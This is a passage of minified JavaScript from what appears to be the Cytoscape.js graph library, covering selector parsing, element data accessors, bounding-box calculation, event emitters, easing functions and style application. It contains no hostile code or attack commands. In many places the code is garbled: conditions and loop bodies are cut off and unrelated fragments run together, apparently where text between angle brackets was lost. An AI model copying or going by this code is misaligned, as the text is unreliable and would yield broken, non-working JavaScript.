e.active()},"matches")},{selector:":inactive",matches:o(function(e){return!e.active()},"matches")},{selector:":backgrounding",matches:o(function(e){return e.backgrounding()},"matches")},{selector:":nonbackgrounding",matches:o(function(e){return!e.backgrounding()},"matches")}].sort(function(t,e){return F$e(t.selector,e.selector)}),GVe=(function(){for(var t={},e,r=0;r0&&f.edgeCount>0)return hn("The selector `"+e+"` is invalid because it uses both a compound selector and an edge selector"),!1;if(f.edgeCount>1)return hn("The selector `"+e+"` is invalid because it uses multiple edge selectors"),!1;f.edgeCount===1&&hn("The selector `"+e+"` is deprecated. Edge selectors do not take effect on changes to source and target nodes after an edge is added, for performance reasons. Use a class or data selector on edges instead, updating the class or data of an edge when your app detects a change in source or target nodes.")}return!0},"parse"),YVe=o(function(){if(this.toStringCache!=null)return this.toStringCache;for(var e=o(function(f){return f??""},"clean"),r=o(function(f){return Jt(f)?'"'+f+'"':e(f)},"cleanVal"),n=o(function(f){return" "+f+" "},"space"),i=o(function(f,d){var p=f.type,m=f.value;switch(p){case zt.GROUP:{var g=e(m);return g.substring(0,g.length-1)}case zt.DATA_COMPARE:{var y=f.field,v=f.operator;return"["+y+n(e(v))+r(m)+"]"}case zt.DATA_BOOL:{var x=f.operator,b=f.field;return"["+e(x)+b+"]"}case zt.DATA_EXIST:{var T=f.field;return"["+T+"]"}case zt.META_COMPARE:{var S=f.operator,w=f.field;return"[["+w+n(e(S))+r(m)+"]]"}case zt.STATE:return m;case zt.ID:return"#"+m;case zt.CLASS:return"."+m;case zt.PARENT:case zt.CHILD:return a(f.parent,d)+n(">")+a(f.child,d);case zt.ANCESTOR:case zt.DESCENDANT:return a(f.ancestor,d)+" "+a(f.descendant,d);case zt.COMPOUND_SPLIT:{var k=a(f.left,d),A=a(f.subject,d),C=a(f.right,d);return k+(k.length>0?" ":"")+A+C}case zt.TRUE:return""}},"checkToString"),a=o(function(f,d){return f.checks.reduce(function(p,m,g){return p+(d===f&&g===0?"$":"")+i(m,d)},"")},"queryToString"),s="",l=0;l1&&l=0&&(r=r.replace("!",""),d=!0),r.indexOf("@")>=0&&(r=r.replace("@",""),f=!0),(a||l||f)&&(u=!a&&!s?"":""+e,h=""+n),f&&(e=u=u.toLowerCase(),n=h=h.toLowerCase()),r){case"*=":i=u.indexOf(h)>=0;break;case"$=":i=u.indexOf(h,u.length-h.length)>=0;break;case"^=":i=u.indexOf(h)===0;break;case"=":i=e===n;break;case">":p=!0,i=e>n;break;case">=":p=!0,i=e>=n;break;case"<":p=!0,i=e1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,Yue)};o(Xue,"addParent");ug.forEachUp=function(t){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,Xue)};o(tUe,"addParentAndChildren");ug.forEachUpAndDown=function(t){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,tUe)};ug.ancestors=ug.parents;cx=jue={data:un.data({field:"data",bindingEvent:"data",allowBinding:!0,allowSetting:!0,settingEvent:"data",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,immutableKeys:{id:!0,source:!0,target:!0,parent:!0},updateStyle:!0}),removeData:un.removeData({field:"data",event:"data",triggerFnName:"trigger",triggerEvent:!0,immutableKeys:{id:!0,source:!0,target:!0,parent:!0},updateStyle:!0}),scratch:un.data({field:"scratch",bindingEvent:"scratch",allowBinding:!0,allowSetting:!0,settingEvent:"scratch",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeScratch:un.removeData({field:"scratch",event:"scratch",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0}),rscratch:un.data({field:"rscratch",allowBinding:!1,allowSetting:!0,settingTriggersEvent:!1,allowGetting:!0}),removeRscratch:un.removeData({field:"rscratch",triggerEvent:!1}),id:o(function(){var e=this[0];if(e)return e._private.data.id},"id")};cx.attr=cx.data;cx.removeAttr=cx.removeData;rUe=jue,yE={};o(RM,"defineDegreeFunction");ir(yE,{degree:RM(function(t,e){return e.source().same(e.target())?2:1}),indegree:RM(function(t,e){return e.target().same(t)?1:0}),outdegree:RM(function(t,e){return e.source().same(t)?1:0})});o(Xm,"defineDegreeBoundsFunction");ir(yE,{minDegree:Xm("degree",function(t,e){return te}),minIndegree:Xm("indegree",function(t,e){return te}),minOutdegree:Xm("outdegree",function(t,e){return te})});ir(yE,{totalDegree:o(function(e){for(var r=0,n=this.nodes(),i=0;i0,p=d;d&&(f=f[0]);var m=p?f.position():{x:0,y:0};r!==void 0?h.position(e,r+m[e]):a!==void 0&&h.position({x:a.x+m.x,y:a.y+m.y})}else{var g=n.position(),y=l?n.parent():null,v=y&&y.length>0,x=v;v&&(y=y[0]);var b=x?y.position():{x:0,y:0};return a={x:g.x-b.x,y:g.y-b.y},e===void 0?a:a[e]}else if(!s)return;return this},"relativePosition")};Ml.modelPosition=Ml.point=Ml.position;Ml.modelPositions=Ml.points=Ml.positions;Ml.renderedPoint=Ml.renderedPosition;Ml.relativePoint=Ml.relativePosition;nUe=Kue;og=Df={};Df.renderedBoundingBox=function(t){var e=this.boundingBox(t),r=this.cy(),n=r.zoom(),i=r.pan(),a=e.x1*n+i.x,s=e.x2*n+i.x,l=e.y1*n+i.y,u=e.y2*n+i.y;return{x1:a,x2:s,y1:l,y2:u,w:s-a,h:u-l}};Df.dirtyCompoundBoundsCache=function(){var t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,e=this.cy();return!e.styleEnabled()||!e.hasCompoundNodes()?this:(this.forEachUp(function(r){if(r.isParent()){var n=r._private;n.compoundBoundsClean=!1,n.bbCache=null,t||r.emitAndNotify("bounds")}}),this)};Df.updateCompoundBounds=function(){var t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,e=this.cy();if(!e.styleEnabled()||!e.hasCompoundNodes())return this;if(!t&&e.batching())return this;function r(s){if(!s.isParent())return;var l=s._private,u=s.children(),h=s.pstyle("compound-sizing-wrt-labels").value==="include",f={width:{val:s.pstyle("min-width").pfValue,left:s.pstyle("min-width-bias-left"),right:s.pstyle("min-width-bias-right")},height:{val:s.pstyle("min-height").pfValue,top:s.pstyle("min-height-bias-top"),bottom:s.pstyle("min-height-bias-bottom")}},d=u.boundingBox({includeLabels:h,includeOverlays:!1,useCache:!1}),p=l.position;(d.w===0||d.h===0)&&(d={w:s.pstyle("width").pfValue,h:s.pstyle("height").pfValue},d.x1=p.x-d.w/2,d.x2=p.x+d.w/2,d.y1=p.y-d.h/2,d.y2=p.y+d.h/2);function m(R,I,L){var E=0,D=0,_=I+L;return R>0&&_>0&&(E=I/_*R,D=L/_*R),{biasDiff:E,biasComplementDiff:D}}o(m,"computeBiasValues");function g(R,I,L,E){if(L.units==="%")switch(E){case"width":return R>0?L.pfValue*R:0;case"height":return I>0?L.pfValue*I:0;case"average":return R>0&&I>0?L.pfValue*(R+I)/2:0;case"min":return R>0&&I>0?R>I?L.pfValue*I:L.pfValue*R:0;case"max":return R>0&&I>0?R>I?L.pfValue*R:L.pfValue*I:0;default:return 0}else return L.units==="px"?L.pfValue:0}o(g,"computePaddingValues");var y=f.width.left.value;f.width.left.units==="px"&&f.width.val>0&&(y=y*100/f.width.val);var v=f.width.right.value;f.width.right.units==="px"&&f.width.val>0&&(v=v*100/f.width.val);var x=f.height.top.value;f.height.top.units==="px"&&f.height.val>0&&(x=x*100/f.height.val);var b=f.height.bottom.value;f.height.bottom.units==="px"&&f.height.val>0&&(b=b*100/f.height.val);var T=m(f.width.val-d.w,y,v),S=T.biasDiff,w=T.biasComplementDiff,k=m(f.height.val-d.h,x,b),A=k.biasDiff,C=k.biasComplementDiff;l.autoPadding=g(d.w,d.h,s.pstyle("padding"),s.pstyle("padding-relative-to").value),l.autoWidth=Math.max(d.w,f.width.val),p.x=(-S+d.x1+d.x2+w)/2,l.autoHeight=Math.max(d.h,f.height.val),p.y=(-A+d.y1+d.y2+C)/2}o(r,"update");for(var n=0;ne.x2?i:e.x2,e.y1=ne.y2?a:e.y2,e.w=e.x2-e.x1,e.h=e.y2-e.y1)},"updateBounds"),mf=o(function(e,r){return r==null?e:Nl(e,r.x1,r.y1,r.x2,r.y2)},"updateBoundsFromBox"),W2=o(function(e,r,n){return Us(e,r,n)},"prefixedProperty"),Lk=o(function(e,r,n){if(!r.cy().headless()){var i=r._private,a=i.rstyle,s=a.arrowWidth/2,l=r.pstyle(n+"-arrow-shape").value,u,h;if(l!=="none"){n==="source"?(u=a.srcX,h=a.srcY):n==="target"?(u=a.tgtX,h=a.tgtY):(u=a.midX,h=a.midY);var f=i.arrowBounds=i.arrowBounds||{},d=f[n]=f[n]||{};d.x1=u-s,d.y1=h-s,d.x2=u+s,d.y2=h+s,d.w=d.x2-d.x1,d.h=d.y2-d.y1,Fk(d,1),Nl(e,d.x1,d.y1,d.x2,d.y2)}}},"updateBoundsFromArrow"),NM=o(function(e,r,n){if(!r.cy().headless()){var i;n?i=n+"-":i="";var a=r._private,s=a.rstyle,l=r.pstyle(i+"label").strValue;if(l){var u=r.pstyle("text-halign"),h=r.pstyle("text-valign"),f=W2(s,"labelWidth",n),d=W2(s,"labelHeight",n),p=W2(s,"labelX",n),m=W2(s,"labelY",n),g=r.pstyle(i+"text-margin-x").pfValue,y=r.pstyle(i+"text-margin-y").pfValue,v=r.isEdge(),x=r.pstyle(i+"text-rotation"),b=r.pstyle("text-outline-width").pfValue,T=r.pstyle("text-border-width").pfValue,S=T/2,w=r.pstyle("text-background-padding").pfValue,k=2,A=d,C=f,R=C/2,I=A/2,L,E,D,_;if(v)L=p-R,E=p+R,D=m-I,_=m+I;else{switch(u.value){case"left":L=p-C,E=p;break;case"center":L=p-R,E=p+R;break;case"right":L=p,E=p+C;break}switch(h.value){case"top":D=m-A,_=m;break;case"center":D=m-I,_=m+I;break;case"bottom":D=m,_=m+A;break}}var O=g-Math.max(b,S)-w-k,M=g+Math.max(b,S)+w+k,P=y-Math.max(b,S)-w-k,B=y+Math.max(b,S)+w+k;L+=O,E+=M,D+=P,_+=B;var F=n||"main",G=a.labelBounds,$=G[F]=G[F]||{};$.x1=L,$.y1=D,$.x2=E,$.y2=_,$.w=E-L,$.h=_-D,$.leftPad=O,$.rightPad=M,$.topPad=P,$.botPad=B;var U=v&&x.strValue==="autorotate",j=x.pfValue!=null&&x.pfValue!==0;if(U||j){var te=U?W2(a.rstyle,"labelAngle",n):x.pfValue,Y=Math.cos(te),oe=Math.sin(te),J=(L+E)/2,ue=(D+_)/2;if(!v){switch(u.value){case"left":J=E;break;case"right":J=L;break}switch(h.value){case"top":ue=_;break;case"bottom":ue=D;break}}var re=o(function(Te,q){return Te=Te-J,q=q-ue,{x:Te*Y-q*oe+J,y:Te*oe+q*Y+ue}},"rotate"),ee=re(L,D),Z=re(L,_),K=re(E,D),ae=re(E,_);L=Math.min(ee.x,Z.x,K.x,ae.x),E=Math.max(ee.x,Z.x,K.x,ae.x),D=Math.min(ee.y,Z.y,K.y,ae.y),_=Math.max(ee.y,Z.y,K.y,ae.y)}var Q=F+"Rot",de=G[Q]=G[Q]||{};de.x1=L,de.y1=D,de.x2=E,de.y2=_,de.w=E-L,de.h=_-D,Nl(e,L,D,E,_),Nl(a.labelBounds.all,L,D,E,_)}return e}},"updateBoundsFromLabel"),mce=o(function(e,r){if(!r.cy().headless()){var n=r.pstyle("outline-opacity").value,i=r.pstyle("outline-width").value,a=r.pstyle("outline-offset").value,s=i+a;Zue(e,r,n,s,"outside",s/2)}},"updateBoundsFromOutline"),Zue=o(function(e,r,n,i,a,s){if(!(n===0||i<=0||a==="inside")){var l=r.cy(),u=r.pstyle("shape").value,h=l.renderer().nodeShapes[u],f=r.position(),d=f.x,p=f.y,m=r.width(),g=r.height();if(h.hasMiterBounds){a==="center"&&(i/=2);var y=h.miterBounds(d,p,m,g,i);mf(e,y)}else s!=null&&s>0&&$k(e,[s,s,s,s])}},"updateBoundsFromMiter"),iUe=o(function(e,r){if(!r.cy().headless()){var n=r.pstyle("border-opacity").value,i=r.pstyle("border-width").pfValue,a=r.pstyle("border-position").value;Zue(e,r,n,i,a)}},"updateBoundsFromMiterBorder"),aUe=o(function(e,r){var n=e._private.cy,i=n.styleEnabled(),a=n.headless(),s=cs(),l=e._private,u=e.isNode(),h=e.isEdge(),f,d,p,m,g,y,v=l.rstyle,x=u&&i?e.pstyle("bounds-expansion").pfValue:[0],b=o(function(ne){return ne.pstyle("display").value!=="none"},"isDisplayed"),T=!i||b(e)&&(!h||b(e.source())&&b(e.target()));if(T){var S=0,w=0;i&&r.includeOverlays&&(S=e.pstyle("overlay-opacity").value,S!==0&&(w=e.pstyle("overlay-padding").value));var k=0,A=0;i&&r.includeUnderlays&&(k=e.pstyle("underlay-opacity").value,k!==0&&(A=e.pstyle("underlay-padding").value));var C=Math.max(w,A),R=0,I=0;if(i&&(R=e.pstyle("width").pfValue,I=R/2),u&&r.includeNodes){var L=e.position();g=L.x,y=L.y;var E=e.outerWidth(),D=E/2,_=e.outerHeight(),O=_/2;f=g-D,d=g+D,p=y-O,m=y+O,Nl(s,f,p,d,m),i&&mce(s,e),i&&r.includeOutlines&&!a&&mce(s,e),i&&iUe(s,e)}else if(h&&r.includeEdges)if(i&&!a){var M=e.pstyle("curve-style").strValue;if(f=Math.min(v.srcX,v.midX,v.tgtX),d=Math.max(v.srcX,v.midX,v.tgtX),p=Math.min(v.srcY,v.midY,v.tgtY),m=Math.max(v.srcY,v.midY,v.tgtY),f-=I,d+=I,p-=I,m+=I,Nl(s,f,p,d,m),M==="haystack"){var P=v.haystackPts;if(P&&P.length===2){if(f=P[0].x,p=P[0].y,d=P[1].x,m=P[1].y,f>d){var B=f;f=d,d=B}if(p>m){var F=p;p=m,m=F}Nl(s,f-I,p-I,d+I,m+I)}}else if(M==="bezier"||M==="unbundled-bezier"||gf(M,"segments")||gf(M,"taxi")){var G;switch(M){case"bezier":case"unbundled-bezier":G=v.bezierPts;break;case"segments":case"taxi":case"round-segments":case"round-taxi":G=v.linePts;break}if(G!=null)for(var $=0;$d){var J=f;f=d,d=J}if(p>m){var ue=p;p=m,m=ue}f-=I,d+=I,p-=I,m+=I,Nl(s,f,p,d,m)}if(i&&r.includeEdges&&h&&(Lk(s,e,"mid-source"),Lk(s,e,"mid-target"),Lk(s,e,"source"),Lk(s,e,"target")),i){var re=e.pstyle("ghost").value==="yes";if(re){var ee=e.pstyle("ghost-offset-x").pfValue,Z=e.pstyle("ghost-offset-y").pfValue;Nl(s,s.x1+ee,s.y1+Z,s.x2+ee,s.y2+Z)}}var K=l.bodyBounds=l.bodyBounds||{};ele(K,s),$k(K,x),Fk(K,1),i&&(f=s.x1,d=s.x2,p=s.y1,m=s.y2,Nl(s,f-C,p-C,d+C,m+C));var ae=l.overlayBounds=l.overlayBounds||{};ele(ae,s),$k(ae,x),Fk(ae,1);var Q=l.labelBounds=l.labelBounds||{};Q.all!=null?zze(Q.all):Q.all=cs(),i&&r.includeLabels&&(r.includeMainLabels&&NM(s,e,null),h&&(r.includeSourceLabels&&NM(s,e,"source"),r.includeTargetLabels&&NM(s,e,"target")))}return s.x1=Xo(s.x1),s.y1=Xo(s.y1),s.x2=Xo(s.x2),s.y2=Xo(s.y2),s.w=Xo(s.x2-s.x1),s.h=Xo(s.y2-s.y1),s.w>0&&s.h>0&&T&&($k(s,x),Fk(s,1)),s},"boundingBoxImpl"),Jue=o(function(e){var r=0,n=o(function(s){return(s?1:0)<=0;l--)s(l);return this};Cf.removeAllListeners=function(){return this.removeListener("*")};Cf.emit=Cf.trigger=function(t,e,r){var n=this.listeners,i=n.length;return this.emitting++,An(e)||(e=[e]),TUe(this,function(a,s){r!=null&&(n=[{event:s.event,type:s.type,namespace:s.namespace,callback:r}],i=n.length);for(var l=o(function(){var f=n[u];if(f.type===s.type&&(!f.namespace||f.namespace===s.namespace||f.namespace===xUe)&&a.eventMatches(a.context,f,s)){var d=[s];e!=null&&hze(d,e),a.beforeEmit(a.context,f,s),f.conf&&f.conf.one&&(a.listeners=a.listeners.filter(function(g){return g!==f}));var p=a.callbackContext(a.context,f,s),m=f.callback.apply(p,d);a.afterEmit(a.context,f,s),m===!1&&(s.stopPropagation(),s.preventDefault())}},"_loop2"),u=0;u1&&!s){var l=this.length-1,u=this[l],h=u._private.data.id;this[l]=void 0,this[e]=u,a.set(h,{ele:u,index:e})}return this.length--,this},"unmergeAt"),unmergeOne:o(function(e){e=e[0];var r=this._private,n=e._private.data.id,i=r.map,a=i.get(n);if(!a)return this;var s=a.index;return this.unmergeAt(s),this},"unmergeOne"),unmerge:o(function(e){var r=this._private.cy;if(!e)return this;if(e&&Jt(e)){var n=e;e=r.mutableElements().filter(n)}for(var i=0;i=0;r--){var n=this[r];e(n)&&this.unmergeAt(r)}return this},"unmergeBy"),map:o(function(e,r){for(var n=[],i=this,a=0;an&&(n=u,i=l)}return{value:n,ele:i}},"max"),min:o(function(e,r){for(var n=1/0,i,a=this,s=0;s=0&&a"u"?"undefined":$i(Symbol))!=e&&$i(Symbol.iterator)!=e;r&&(tE[Symbol.iterator]=function(){var n=this,i={value:void 0,done:!1},a=0,s=this.length;return sue({next:o(function(){return a1&&arguments[1]!==void 0?arguments[1]:!0,n=this[0],i=n.cy();if(i.styleEnabled()&&n){n._private.styleDirty&&(n._private.styleDirty=!1,i.style().apply(n));var a=n._private.style[e];return a??(r?i.style().getDefaultProperty(e):null)}},"parsedStyle"),numericStyle:o(function(e){var r=this[0];if(r.cy().styleEnabled()&&r){var n=r.pstyle(e);return n.pfValue!==void 0?n.pfValue:n.value}},"numericStyle"),numericStyleUnits:o(function(e){var r=this[0];if(r.cy().styleEnabled()&&r)return r.pstyle(e).units},"numericStyleUnits"),renderedStyle:o(function(e){var r=this.cy();if(!r.styleEnabled())return this;var n=this[0];if(n)return r.style().getRenderedStyle(n,e)},"renderedStyle"),style:o(function(e,r){var n=this.cy();if(!n.styleEnabled())return this;var i=!1,a=n.style();if(Yr(e)){var s=e;a.applyBypass(this,s,i),this.emitAndNotify("style")}else if(Jt(e))if(r===void 0){var l=this[0];return l?a.getStylePropertyValue(l,e):void 0}else a.applyBypass(this,e,r,i),this.emitAndNotify("style");else if(e===void 0){var u=this[0];return u?a.getRawStyle(u):void 0}return this},"style"),removeStyle:o(function(e){var r=this.cy();if(!r.styleEnabled())return this;var n=!1,i=r.style(),a=this;if(e===void 0)for(var s=0;s0&&e.push(f[0]),e.push(l[0])}return this.spawn(e,!0).filter(t)},"neighborhood"),closedNeighborhood:o(function(e){return this.neighborhood().add(this).filter(e)},"closedNeighborhood"),openNeighborhood:o(function(e){return this.neighborhood(e)},"openNeighborhood")});Ba.neighbourhood=Ba.neighborhood;Ba.closedNeighbourhood=Ba.closedNeighborhood;Ba.openNeighbourhood=Ba.openNeighborhood;ir(Ba,{source:jo(o(function(e){var r=this[0],n;return r&&(n=r._private.source||r.cy().collection()),n&&e?n.filter(e):n},"sourceImpl"),"source"),target:jo(o(function(e){var r=this[0],n;return r&&(n=r._private.target||r.cy().collection()),n&&e?n.filter(e):n},"targetImpl"),"target"),sources:Cce({attr:"source"}),targets:Cce({attr:"target"})});o(Cce,"defineSourceFunction");ir(Ba,{edgesWith:jo(Ace(),"edgesWith"),edgesTo:jo(Ace({thisIsSrc:!0}),"edgesTo")});o(Ace,"defineEdgesWithFunction");ir(Ba,{connectedEdges:jo(function(t){for(var e=[],r=this,n=0;n0);return s},"components"),component:o(function(){var e=this[0];return e.cy().mutableElements().components(e)[0]},"component")});Ba.componentsOf=Ba.components;va=o(function(e,r){var n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(e===void 0){Kn("A collection must have a reference to the core");return}var a=new zu,s=!1;if(!r)r=[];else if(r.length>0&&Yr(r[0])&&!mx(r[0])){s=!0;for(var l=[],u=new hg,h=0,f=r.length;h0&&arguments[0]!==void 0?arguments[0]:!0,e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,r=this,n=r.cy(),i=n._private,a=[],s=[],l,u=0,h=r.length;u0){for(var F=l.length===r.length?r:new va(n,l),G=0;G0&&arguments[0]!==void 0?arguments[0]:!0,e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,r=this,n=[],i={},a=r._private.cy;function s(_){for(var O=_._private.edges,M=0;M0&&(t?L.emitAndNotify("remove"):e&&L.emit("remove"));for(var E=0;Ef&&Math.abs(g.v)>f;);return p?function(y){return u[y*(u.length-1)|0]}:h},"springRK4Factory")})(),In=o(function(e,r,n,i){var a=RUe(e,r,n,i);return function(s,l,u){return s+(l-s)*a(u)}},"cubicBezier"),Vk={linear:o(function(e,r,n){return e+(r-e)*n},"linear"),ease:In(.25,.1,.25,1),"ease-in":In(.42,0,1,1),"ease-out":In(0,0,.58,1),"ease-in-out":In(.42,0,.58,1),"ease-in-sine":In(.47,0,.745,.715),"ease-out-sine":In(.39,.575,.565,1),"ease-in-out-sine":In(.445,.05,.55,.95),"ease-in-quad":In(.55,.085,.68,.53),"ease-out-quad":In(.25,.46,.45,.94),"ease-in-out-quad":In(.455,.03,.515,.955),"ease-in-cubic":In(.55,.055,.675,.19),"ease-out-cubic":In(.215,.61,.355,1),"ease-in-out-cubic":In(.645,.045,.355,1),"ease-in-quart":In(.895,.03,.685,.22),"ease-out-quart":In(.165,.84,.44,1),"ease-in-out-quart":In(.77,0,.175,1),"ease-in-quint":In(.755,.05,.855,.06),"ease-out-quint":In(.23,1,.32,1),"ease-in-out-quint":In(.86,0,.07,1),"ease-in-expo":In(.95,.05,.795,.035),"ease-out-expo":In(.19,1,.22,1),"ease-in-out-expo":In(1,0,0,1),"ease-in-circ":In(.6,.04,.98,.335),"ease-out-circ":In(.075,.82,.165,1),"ease-in-out-circ":In(.785,.135,.15,.86),spring:o(function(e,r,n){if(n===0)return Vk.linear;var i=NUe(e,r,n);return function(a,s,l){return a+(s-a)*i(l)}},"spring"),"cubic-bezier":In};o(Dce,"getEasedValue");o(Lce,"getValue");o(jm,"ease");o(MUe,"step$1");o(X2,"valid");o(IUe,"startAnimation");o(Rce,"stepAll");OUe={animate:un.animate(),animation:un.animation(),animated:un.animated(),clearQueue:un.clearQueue(),delay:un.delay(),delayAnimation:un.delayAnimation(),stop:un.stop(),addToAnimationPool:o(function(e){var r=this;r.styleEnabled()&&r._private.aniEles.merge(e)},"addToAnimationPool"),stopAnimationLoop:o(function(){this._private.animationsRunning=!1},"stopAnimationLoop"),startAnimationLoop:o(function(){var e=this;if(e._private.animationsRunning=!0,!e.styleEnabled())return;function r(){e._private.animationsRunning&&Kk(o(function(a){Rce(a,e),r()},"animationStep"))}o(r,"headlessStep");var n=e.renderer();n&&n.beforeRender?n.beforeRender(o(function(a,s){Rce(s,e)},"rendererAnimationStep"),n.beforeRenderPriorities.animations):r()},"startAnimationLoop")},PUe={qualifierCompare:o(function(e,r){return e==null||r==null?e==null&&r==null:e.sameText(r)},"qualifierCompare"),eventMatches:o(function(e,r,n){var i=r.qualifier;return i!=null?e!==n.target&&mx(n.target)&&i.matches(n.target):!0},"eventMatches"),addEventFields:o(function(e,r){r.cy=e,r.target=e},"addEventFields"),callbackContext:o(function(e,r,n){return r.qualifier!=null?n.target:e},"callbackContext")},Mk=o(function(e){return Jt(e)?new Ef(e):e},"argSelector"),uhe={createEmitter:o(function(){var e=this._private;return e.emitter||(e.emitter=new vE(PUe,this)),this},"createEmitter"),emitter:o(function(){return this._private.emitter},"emitter"),on:o(function(e,r,n){return this.emitter().on(e,Mk(r),n),this},"on"),removeListener:o(function(e,r,n){return this.emitter().removeListener(e,Mk(r),n),this},"removeListener"),removeAllListeners:o(function(){return this.emitter().removeAllListeners(),this},"removeAllListeners"),one:o(function(e,r,n){return this.emitter().one(e,Mk(r),n),this},"one"),once:o(function(e,r,n){return this.emitter().one(e,Mk(r),n),this},"once"),emit:o(function(e,r){return this.emitter().emit(e,r),this},"emit"),emitAndNotify:o(function(e,r){return this.emit(e),this.notify(e,r),this},"emitAndNotify")};un.eventAliasesOn(uhe);ZM={png:o(function(e){var r=this._private.renderer;return e=e||{},r.png(e)},"png"),jpg:o(function(e){var r=this._private.renderer;return e=e||{},e.bg=e.bg||"#fff",r.jpg(e)},"jpg")};ZM.jpeg=ZM.jpg;Uk={layout:o(function(e){var r=this;if(e==null){Kn("Layout options must be specified to make a layout");return}if(e.name==null){Kn("A `name` must be specified to make a layout");return}var n=e.name,i=r.extension("layout",n);if(i==null){Kn("No such layout `"+n+"` found. Did you forget to import it and `cytoscape.use()` it?");return}var a;Jt(e.eles)?a=r.$(e.eles):a=e.eles!=null?e.eles:r.$();var s=new i(ir({},e,{cy:r,eles:a}));return s},"layout")};Uk.createLayout=Uk.makeLayout=Uk.layout;BUe={notify:o(function(e,r){var n=this._private;if(this.batching()){n.batchNotifications=n.batchNotifications||{};var i=n.batchNotifications[e]=n.batchNotifications[e]||this.collection();r!=null&&i.merge(r);return}if(n.notificationsEnabled){var a=this.renderer();this.destroyed()||!a||a.notify(e,r)}},"notify"),notifications:o(function(e){var r=this._private;return e===void 0?r.notificationsEnabled:(r.notificationsEnabled=!!e,this)},"notifications"),noNotifications:o(function(e){this.notifications(!1),e(),this.notifications(!0)},"noNotifications"),batching:o(function(){return this._private.batchCount>0},"batching"),startBatch:o(function(){var e=this._private;return e.batchCount==null&&(e.batchCount=0),e.batchCount===0&&(e.batchStyleEles=this.collection(),e.batchNotifications={}),e.batchCount++,this},"startBatch"),endBatch:o(function(){var e=this._private;if(e.batchCount===0)return this;if(e.batchCount--,e.batchCount===0){e.batchStyleEles.updateStyle();var r=this.renderer();Object.keys(e.batchNotifications).forEach(function(n){var i=e.batchNotifications[n];i.empty()?r.notify(n):r.notify(n,i)})}return this},"endBatch"),batch:o(function(e){return this.startBatch(),e(),this.endBatch(),this},"batch"),batchData:o(function(e){var r=this;return this.batch(function(){for(var n=Object.keys(e),i=0;i0;)r.removeChild(r.childNodes[0]);e._private.renderer=null,e.mutableElements().forEach(function(n){var i=n._private;i.rscratch={},i.rstyle={},i.animation.current=[],i.animation.queue=[]})},"destroyRenderer"),onRender:o(function(e){return this.on("render",e)},"onRender"),offRender:o(function(e){return this.off("render",e)},"offRender")};JM.invalidateDimensions=JM.resize;Hk={collection:o(function(e,r){return Jt(e)?this.$(e):fo(e)?e.collection():An(e)?(r||(r={}),new va(this,e,r.unique,r.removed)):new va(this)},"collection"),nodes:o(function(e){var r=this.$(function(n){return n.isNode()});return e?r.filter(e):r},"nodes"),edges:o(function(e){var r=this.$(function(n){return n.isEdge()});return e?r.filter(e):r},"edges"),$:o(function(e){var r=this._private.elements;return e?r.filter(e):r.spawnSelf()},"$"),mutableElements:o(function(){return this._private.elements},"mutableElements")};Hk.elements=Hk.filter=Hk.$;na={},tx="t",$Ue="f";na.apply=function(t){for(var e=this,r=e._private,n=r.cy,i=n.collection(),a=0;a0;if(p||d&&m){var g=void 0;p&&m||p?g=h.properties:m&&(g=h.mappedProperties);for(var y=0;y1&&(S=1),l.color){var k=n.valueMin[0],A=n.valueMax[0],C=n.valueMin[1],R=n.valueMax[1],I=n.valueMin[2],L=n.valueMax[2],E=n.valueMin[3]==null?1:n.valueMin[3],D=n.valueMax[3]==null?1:n.valueMax[3],_=[Math.round(k+(A-k)*S),Math.round(C+(R-C)*S),Math.round(I+(L-I)*S),Math.round(E+(D-E)*S)];a={bypass:n.bypass,name:n.name,value:_,strValue:"rgb("+_[0]+", "+_[1]+", "+_[2]+")"}}else if(l.number){var O=n.valueMin+(n.valueMax-n.valueMin)*S;a=this.parse(n.name,O,n.bypass,p)}else return!1;if(!a)return y(),!1;a.mapping=n,n=a;break}case s.data:{for(var M=n.field.split("."),P=d.data,B=0;B0&&a>0){for(var l={},u=!1,h=0;h0?t.delayAnimation(s).play().promise().then(T):T()}).then(function(){return t.animation({style:l,duration:a,easing:t.pstyle("transition-timing-function").value,queue:!1}).play().promise()}).then(function(){r.removeBypasses(t,i),t.emitAndNotify("style"),n.transitioning=!1})}else n.transitioning&&(this.removeBypasses(t,i),t.emitAndNotify("style"),n.transitioning=!1)};na.checkTrigger=function(t,e,r,n,i,a){var s=this.properties[e],l=i(s);t.removed()||l!=null&&l(r,n,t)&&a(s)};na.checkZOrderTrigger=function(t,e,r,n){var i=this;this.checkTrigger(t,e,r,n,function(a){return a.triggersZOrder},function(){i._private.cy.notify("zorder",t)})};na.checkBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBounds},function(i){t.dirtyCompoundBoundsCache(),t.dirtyBoundingBoxCache()})};na.checkConnectedEdgesBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBoundsOfConnectedEdges},function(i){t.connectedEdges().forEach(function(a){a.dirtyBoundingBoxCache()})})};na.checkParallelEdgesBoundsTrigger=function(t,e,r,n){this.checkTrigger(t,e,r,n,function(i){return i.triggersBoundsOfParallelEdges},function(i){t.parallelEdges().forEach(function(a){a.dirtyBoundingBoxCache()})})};na.checkTriggers=function(t,e,r,n){t.dirtyStyleCache(),this.checkZOrderTrigger(t,e,r,n),this.checkBoundsTrigger(t,e,r,n),this.checkConnectedEdgesBoundsTrigger(t,e,r,n),this.checkParallelEdgesBoundsTrigger(t,e,r,n)};wx={};wx.applyBypass=function(t,e,r,n){var i=this,a=[],s=!0;if(e==="*"||e==="**"){if(r!==void 0)for(var l=0;li.length?n=n.substr(i.length):n=""}o(l,"removeSelAndBlockFromRemaining");function u(){a.length>s.length?a=a.substr(s.length):a=""}for(o(u,"removePropAndValFromRem");;){var h=n.match(/^\s*$/);if(h)break;var 